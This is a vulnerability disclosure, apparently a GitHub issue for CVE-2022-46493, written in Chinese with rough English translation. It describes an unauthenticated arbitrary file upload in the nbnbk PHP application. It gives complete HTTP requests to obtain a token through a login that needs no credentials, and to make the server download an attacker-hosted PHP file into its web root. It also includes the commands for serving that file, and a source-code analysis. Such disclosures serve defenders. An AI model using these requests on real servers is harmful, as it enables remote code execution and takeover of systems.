Headline
CVE-2022-46493: 🛡️ Nbnbk has any file upload Getshell · Issue #1 · Fanli2012/nbnbk
Default version of nbnbk was discovered to contain an arbitrary file upload vulnerability via the component /api/User/download_img.
nbnbk 存在任意文件上传 Getshell
Nbnbk has any file upload Getshell
0x00 前言 Preface
该漏洞无需账号密码即可任意文件上传 Getshell,相当于两步请求直接获取机器权限。
漏洞存在版本:default
This vulnerability allows any file to be uploaded to the Getshell without an account password, which is equivalent to two-step requests for direct access to the machine.
Vulnerability Existing Version: default
0x01 漏洞复现 Vulnerability Reproduction****1.获取 token
文件上传的接口需要 access_token ,我们可以通过下面这个接口获取
Get token
The interface for file upload requires access_ Token, we can get it from this interface
POST /api/login/wx_login HTTP/1.1 Host: nbnbk:8888 Content-Type: application/x-www-form-urlencoded Content-Length: 46 Connection: close
openid=1&unionid=1&sex=1&head_img=1&nickname=1
可以在返回包中发现 token 已经生成
You can find that token has been generated in the return package
HTTP/1.1 200 OK
Date: Wed, 02 Mar 2022 01:37:25 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 PHP/7.4.21 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: x-requested-with,content-type,x-access-token,x-access-appid
Content-Length: 831
Connection: close
Content-Type: text/html; charset=UTF-8
{"code":0,"msg":"登录成功","data":{"id":10,"parent_id":0,"invite_code":"","mobile":"","email":"","nickname":"1","user_name":"u10","pay_password":0,"head_img":"1","sex":1,"birthday":"1990-01-01","money":"0.00","commission":"0.00","commission_available":"0.00","consumption_money":"0.00","frozen_money":"0.00","point":0,"user_rank":0,"user_rank_points":0,"address_id":0,"openid":"1","unionid":"1","refund_account":"","refund_name":"","signin_time":0,"group_id":50,"status":0,"add_time":1646141434,"update_time":1646141434,"delete_time":0,"login_time":1646185046,"reciever_address":null,"collect_goods_count":0,"bonus_count":0,"status_text":"正常","sex_text":"男","user_rank_text":null,"token":{"id":15,"token":"87b5fd1230df78dad5a62924426a9a6d","type":2,"user_id":10,"data":"","expire_time":1648733458,"add_time":1646141458}}}
2.在 vps 中启动 http 服务
Start HTTP service in VPS
echo ‘<?php phpinfo();’ > index.php python -m http.server 8099
3.文件上传
File Upload
POST /api/User/download_img HTTP/1.1 Host: nbnbk:8888 Content-Type: application/x-www-form-urlencoded Content-Length: 95 Connection: close
access_token=87b5fd1230df78dad5a62924426a9a6d&url=http://127.0.0.1:8099/index.php&path=info.php
这里的 access_token 就是上面获取的 token,url 是文件地址,path 是文件名
Access_here Token is the token obtained above, URL is the file address, path is the file name.
返回 200 表示成功,我们直接访问 http://nbnbk:8888/info.php 可以看到已经写入文件并能成功解析。
Back to 200 means success, we visit directly http://nbnbk:8888/info.php You can see that the file has been written and parsed successfully.
0x02 漏洞分析
Vulnerability Analysis
1.发现危险函数
Discover danger function
通过全局搜索 fopen 这个打开文件的函数,发现了 api 下面存在一个 path 用变量来控制,极有肯能存在问题。
By searching fopen, an open file function globally, we found that there is a path under the API that is controlled by variables, which is probably problematic.
双击后可以发现是一个 download_img 的函数,其中 url 和 path 变量是可控的。
Double-click to find a download_ Function of img where url and path variables are controllable.
这里直接使用 curl 访问了我们提供的 url 并且 path 也没有做任何过滤。直接读文件写到指定目录。
Curl is used directly here to access the url’we provided and path` does not filter at all. Read the file directly to the specified directory.
直接构造路近请求但是提示 token 错误,下一步我们需要获得 token。
Construct the approach request directly but prompt token error, we need to get token next.
2.获取token
Get token
看源码可以知道,一定是要登陆才能调用到 getToken 。可以通过注册登陆的方式来获取,但是如果关闭了注册功能、注册功能失效,我们就没法获取 token 了。有没有不需要有账号密码即可获取 token 的方式?
我们继续来看登陆功能的 Login.php 发现提供了一种不需要账号密码就可以登陆的方式。
Looking at the source code, you know that you must be logged in to call getToken’. It can be obtained by registering for login, but if the registration function is turned off and the registration function is invalid, we will not be able to get token’. Is there a way to get `token’without an account password?
Let’s move on to Login’for login functionality. PhpDiscovery provides a way to log in without an account password.
进一步跟进 wxLogin 函数
Follow Up wxLogin Function
- 折叠函数里包含了输入内容的校验,大概意思是用户不存在可以创建一个新的,这里我们可以不用管。
- 通过了校验之后会生成新的 token
1.The collapse function contains a check of the input content, which probably means that the user does not exist and can create a new one, which we can ignore here.
2.New `token’will be generated after passing the check
我们直接构造数据包,填入需要的字段即可直接拿到生成的 token。到这里分析就结束了。
We construct the data package directly and fill in the required fields to get the generated token. The analysis is over here.